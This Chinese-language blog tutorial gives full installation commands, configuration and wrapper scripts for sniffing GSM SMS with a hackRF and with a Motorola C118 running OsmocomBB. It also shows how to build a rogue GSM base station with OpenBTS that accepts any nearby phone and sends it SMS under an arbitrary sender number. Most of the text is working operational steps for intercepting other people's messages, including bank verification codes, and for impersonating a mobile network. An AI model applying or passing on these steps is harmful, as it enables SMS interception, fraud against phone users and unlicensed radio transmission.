短信嗅探及伪基站

本文短信嗅探和伪基站环境的搭建方法、使用方法。

最近关于利用短信嗅探盗刷银行卡的新闻闹得沸沸扬扬,因此我也蹭一个热点,学习一下短信嗅探的相关技术,同时探究一下伪基站是如何搭建的。本文主要介绍三个内容:利用hackRF嗅探GSM网络流量、利用C118嗅探GSM网络流量、利用C118搭建伪基站。


利用hackRF嗅探GSM网络流量

参考文献

硬件需求

  • hackRF

软件需求

安装过程

  • 安装harkRF所需的工具和库文件。
    执行sudo apt-get install hackrf libhackrf-dev libhackrf0,利用hackrf_info命令验证是否安装成功。
  • 安装软件gnuradio,利用它可以解码射频信号,并安装工具gqrx,利用该工具可以将特定频率信号的功率可视化,以及一切需要的东西。
    执行sudo apt-get install gnuradio gnuradio-dev gr-osmosdr gr-osmosdr gqrx-sdr wireshark
  • 安装gr-gsm,以解码GSM数据包

    1
    2
    3
    4
    5
    6
    7
    8
    9
    sudo apt-get install git cmake libboost-all-dev libcppunit-dev swig doxygen liblog4cpp5-dev python-scipy
    git clone https://github.com/ptrkrysik/gr-gsm.git
    cd gr-gsm
    mkdir build
    cd build
    cmake ..
    make
    sudo make install
    sudo ldconfig

    创建文件~/.gnuradio/config.conf,并将下面的内容粘贴在该文件中:

    1
    2
    [grc]å
    local_blocks_path=/usr/local/share/gnuradio/grc/blocks
  • 安装kalibrate-harkrf,它能够在已知的GSM频率之间跳动,并能够识别到你的国家所使用的频率:

    1
    2
    3
    4
    5
    6
    git clone https://github.com/scateu/kalibrate-hackrf.git
    cd kalibrate-hackrf
    ./bootstrap
    ./configure
    make
    sudo make install

实验过程

  • 确定GSM频率

    1
    2
    cd  kalibrate-hackrf/src
    ./kal -s GSM900 -g 40 -l 40
  • 启动嗅探

    1
    2
    cd gr-gsm/apps/
    gnuradio-companion grgsm-livemon_user.grc

    在弹出的对话框中,点击运行,然后开始调节扫描频率(步进为200kHz),直到控制台窗口上持续打印数据为止,此时说明已经捕获该频率。

  • 启动wireshark

    1
    sudo wireshark -k -Y 'gsm_sms' -i lo

    此时可以在wireshark中看到解码后的gsm_sms信息。


利用c118+OsmocomBB进行短信嗅探

参考文献

硬件要求

  • MOTOROLA c118手机 (手机+电池+充电器)
  • CP2302模块
  • C118数据线

软件要求

  • Linux系统(实验采用ubantu 16.10)
  • OsmocomBB 等
  • Wireshark

硬件组装

硬件组装流程
电脑 <-- cp2303模块 --> c118数据线 –> C118

硬件改装(自选)

按教程看,如果需要C118嗅探上行短信,需要更换滤波器。而实际实验表明,在未更换的情况下仍然可以嗅探上行短信。
拆屏蔽盖教程
修改滤波器教程

软件安装

环境安装可能会遇到各类错误,只需要根据错误去谷歌即可。。或者直接使用我已经配置好的环境

  • 安装依赖(建议一个一个包安装)

    1
    2
    3
    4
    sudo apt-get update
    sudo apt-get upgrade
    sudo apt-get install libusb-0.1-4 libpcsclite1 libccid pcscd
    sudo apt-get install libtool shtool autoconf git-core pkg-config make gcc build-essential libgmp3-dev libmpfr-dev libx11-6 libx11-dev texinfo flex bison libncurses5 libncurses5-dbg libncurses5-dev libncursesw5 libncursesw5-dbg libncursesw5-dev zlibc zlib1g-dev libmpfr4 libmpc-dev libpcsclite-dev
  • 安装OsmocomBB

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    mkdir osmocombb
    cd osmocombb
    mkdir build install src
    wget http://bb.osmocom.org/trac/raw-attachment/wiki/GnuArmToolchain/gnu-arm-build.3.sh
    cd src
    wget http://ftp.gnu.org/gnu/gcc/gcc-4.8.2/gcc-4.8.2.tar.bz2
    wget http://ftp.gnu.org/gnu/binutils/binutils-2.21.1a.tar.bz2
    wget ftp://sources.redhat.com/pub/newlib/newlib-1.19.0.tar.gz
    cd ..
    chmod +x gnu-arm-build.3.sh
    ./gnu-arm-build.3.sh

    等待安装完成,此处会报错,请直接谷歌直接使用我已经配置好的环境,之后配置环境变量。

    1
    2
    3
    4
    5
    6
    cd install/bin
    pwd
    vi ~/./.bashrc
    (最后一行加入,保存退出)export PATH=$PATH:/osmocombb/install/binå
    source ~/.bashrc
    cd ../..(回到osmocombb目录下)

    配置完成后,下载并编译osmcomBB

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    git clone git://git.osmocom.org/libosmocore.git
    git clone git://git.osmocom.org/osmocom-bb.git
    mv osmocom-bb osmocom-bb-findSMS

    ## 以下步骤为安装talloc
    wget https://www.samba.org/ftp/talloc/talloc-2.1.7.tar.gz
    tar -zxvf talloc-2.1.7.tar.gz
    cd talloc-2.1.7/
    ./configure
    make
    sudo make install
    cd ..

    ## 安装libosmocore
    cd libosmocore/
    autoreconf -i
    ./configure
    make
    sudo make install
    cd ..

    ## 编译OsmocomBB
    cd osmocom-bb-findSMS
    git checkout --track origin/luca/gsmmap
    cd src
    make

    接着修改问题文件。进入osmocom-bb找到这些文件,在KEEP(*(SORT(.ctors)))下面加上KEEP(*(SORT(.init_array)))

    1
    2
    3
    4
    5
    vi osmocom-bb-findSMS/src/target/firmware/board/compal/highram.lds
    vi osmocom-bb-findSMS/src/target/firmware/board/compal/ram.lds
    vi osmocom-bb-findSMS/src/target/firmware/board/compal_e88/flash.lds
    vi osmocom-bb-findSMS/src/target/firmware/board/compal_e88/loader.lds
    vi osmocom-bb-findSMS/src/target/firmware/board/mediatek/ram.lds

    全部修改好,在进入osmocom-bb/src重新编译一下。

    1
    make -e CROSS_TOOL_PREFIX=arm-none-eabi-
  • 安装wireshark

    1
    sudo apt-get install wireshark

实验过程

  • 烧录固件
    按硬件组装要求连接好硬件后,新建terminal,执行以下命令。

    1
    2
    3
    cd osmocom-bb-findSMS (进入osmocom-bb目录)
    cd src/host/osmocon
    sudo ./osmocon -m c123xor -p /dev/ttyUSB0 ../../target/firmware/board/compal_e88/layer1.compalram.bin

    然后按下c118开机键,即可开始烧录程序。如果刷入失败,请检查连接线是否插紧。

  • 扫描基站信息(可选)
    如果不了解附近环境的基站信息,则新建terminal,执行以下命令。

    1
    2
    3
    cd osmocom-bb-findSMS (进入osmocom-bb目录)
    cd src/host/layer23/src/misc
    sudo ./cell_log -O
  • 监听指定信道
    根据扫描结果,执行sudo ./ccch_scan -i 127.0.0.1 -a (ARFCN值)。开始监听。

  • 打开终端

    1
    sudo wireshark -k -i lo -f 'port 4729' -Y 'gsm_sms'
  • (彩蛋)
    为了便于使用,将实验过程写成了bash脚本。只需输入参数即可开启实验。具体步骤如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    cd ~/Desktop/apps
    sudo ./sms_start.sh
    @@@@@@
    [以下根据提示输入(使用2台设备进行嗅探):]
    1. 选择第一台cp2302模块所在的ttyUSB端口。例如输入【0】
    2. 按下【c118开机键】,开始烧录程序
    3. 等待烧录完成后,输入所需监听的信道,如输入【80】,然后进入下一步。
    4. 选择第二台cp2302模块所在的ttyUSB端口。例如输入【1】
    5. 按下【c118开机键】,开始烧录程序
    6. 等待烧录完成后,输入所需监听的信道,如输入【18】。

利用C118搭建伪基站

参考文献

硬件要求

  • MOTOROLA c118手机 (手机+电池+充电器)
  • CP2302模块
  • C118数据线

软件要求

  • Linux系统(实验采用ubantu 16.10)
  • OsmocomBB 等
  • OpenBTS

硬件组装

电脑 <-- cp2303模块 --> c118数据线 –> C118

软件安装

由于搭建伪基站时同样需要使用osmocombb,因此应当先跑一边利用c118+OsmocomBB进行短信嗅探时的环境安装。环境安装可能会遇到各类错误,只需要根据错误去谷歌即可。。或者直接使用我已经配置好的环境

  • 安装libosmo-dsp库

    1
    2
    3
    4
    5
    6
    7
    8
    apt-get install libfftw3-3 libfftw3-dev libfftw3-doc
    git clone git://git.osmocom.org/libosmo-dsp.git
    cd libosmo-dsp
    autoreconf -i
    ./configure
    make
    make install
    cd ..
  • 安装osmocom-bb

    1
    2
    3
    4
    git clone git://git.osmocom.org/osmocom-bb.git
    mv osmocom-bb osmocom-bb v
    cd osmocom-bb-JZ
    git checkout sylvain/testing

    由于默认编译出的版本发送信号相关的功能是被注释掉的,用 mobile 启动 layer23 后会一直于搜信号的过程中,因为无法发送信号。如果需要进行实网测试需要打开 src/target/firmware/Makefile 文件中的编译开关。即:

    1
    2
    3
    4
    5
    sudo nano osmocom-bb-JZ/src/target/firmware/Makefile
    @@@找到以下内容:
    # Uncomment this line if you want to enable Tx (Transmit) Support.
    #CFLAGS += -DCONFIG_TX_ENABLE
    然后把 DCONFIG_TX_ENABLE 宏注释去掉

    然后切换到src目录下,执行make HOST_layer23_CONFARGS=--enable-transceiver

  • 安装openBTS-p2.8

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    mkdir o-bts
    @@@ 安装依赖
    sudo apt-get install autoconf libtool libosip2-dev libortp-dev libusb-1.0-0-dev g++ sqlite3 libsqlite3-dev erlang libreadline6-dev libncurses5-dev
    @@@ 下载源码 (注意:svn版本必须 <= 1.7)
    svn co http://wush.net/svn/range/software/public
    @@@ 安装openbts
    cd a53/trunk
    make install
    cd ../../openbts/trunk
    autoreconf -i
    ./configure
    make
    mkdir /etc/OpenBTS
    sqlite3 -init ./apps/OpenBTS.example.sql /etc/OpenBTS/OpenBTS.db ".quit"
    mkdir -p /var/lib/asterisk/sqlite3dir
    cd ../../subscriberRegistry/trunk
    make
    sqlite3 -init subscriberRegistry.example.sql /etc/OpenBTS/sipauthserve.db ".quit"
    cd ../../smqueue/trunk
    autoreconf -i
    ./configure
    make
    sqlite3 -init smqueue/smqueue.example.sql /etc/OpenBTS/smqueue.db ".quit"

    此外,需要在o-bts/openbts/trunk/TransceiverRAD1下新建文件transceiver,文件内容如下。其中623为附近的基站信道,如果不清楚可通过利用c118+OsmocomBB进行短信嗅探进行检测。然后执行chmod +x transceiver命令赋予执行权限。

    1
    2
    #!/bin/bash
    exec /home/jerry/Desktop/osmocombb/osmocom-bb-JZ/src/host/layer23/src/transceiver/transceiver 623
  • 安装数据库
    1
    apt-get install sqlite3 sqliteman

实验过程

  • 配置基站数据库
    执行sudo sqliteman,打开/ etc/OpenBTS / 目录下的 OpenBTS.db 文件

    1
    2
    3
    4
    5
    6
    7
    8
    Control.GSMTAP.TargetIP = 127.0.0.1 
    GSM.Radio.NeedBSIC = 1
    GSM.Radio.Band = 900
    GSM.CellSelection.Neighbors =(留空)
    GSM.RACH.MaxRetrans = 3
    GSM.RACH.TxInteger = 8
    GSM.Radio.C0 = (发射的频点,数值1-124之间)
    Control.LUR.OpenRegistration =.*
  • 烧录固件
    按硬件组装要求连接好硬件后,新建terminal,执行以下命令。

    1
    2
    3
    cd osmocom-bb-JZ (进入osmocom-bb目录)
    cd src/host/osmocon
    sudo ./osmocon -p /dev/ttyUSB0 -m c123xor ../../target/firmware/board/compal_e88/trx.compalram.bin

    然后按下c118开机键,即可开始烧录程序。如果刷入失败,请检查连接线是否插紧。

  • 启动openbts

    1
    2
    3
    新建terminal
    cd openbts/trunk/apps
    ./OpenBTS
  • 启动注册服务

    1
    2
    3
    新建terminal
    cd subscriberRegistry/trunk
    ./sipauthserve
  • 开启短信功能

    1
    2
    3
    新建terminal
    cd smqueue/trunk/smqueue/
    ./smqueue
  • 打开OpenBTS控制台

    1
    2
    cd openbts/trunk/apps
    ./OpenBTSCLI
  • (彩蛋)
    为了便于使用,将实验过程写成了bash脚本。只需输入参数即可开启实验。具体步骤如下:

    1
    2
    3
    4
    5
    6
    7
    cd ~/Desktop/apps
    sudo ./jz_start.sh
    @@@@@@
    [以下根据提示输入:]
    1. 选择cp2302模块所在的ttyUSB端口。例如输入【0】
    2. 按下【c118开机键】,开始烧录程序
    3. 等待烧录完成后,输入【y】,开启服务。

实验效果

  • 连接伪基站
    手机可以搜索到伪基站的信号,并可以进行连接,连接成功后会收到一条欢迎短信,信息内容可在数据库内进行编辑。

  • 查看连接的tmsi号
    在OpenBTS控制台内,输入tmsis,即可查看

  • 发送英文短信
    在OpenBTS控制台内,输入命令:【sendsms TMSI码 发件人号码 信息】,即可完成发送

  • 发送中文短信
    openbts源码不支持发送中文短信,因此该部分需要实现,需要编辑源码,然后重新编译。此外,需要写pdu编码脚本,用于编码。(我已经配置好的环境中已经集成)
    第一步,打开pdu编码脚本,根据提示将需要发送的中文短信进行编码。
    第二步,在OpenBTS控制台内,输入命令:【sendsms TMSI码 1 pdu编码】,即可完成发送。


备注

iphone查看基站信息:*3001#12345#*

本文标题:短信嗅探及伪基站

文章作者:Jerry

发布时间:2018年09月11日 - 08:57:51

最后更新:2018年09月13日 - 15:31:36

原始链接:https://jerryma0912.github.io/2018/09/11/19-Pseudobasestation/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。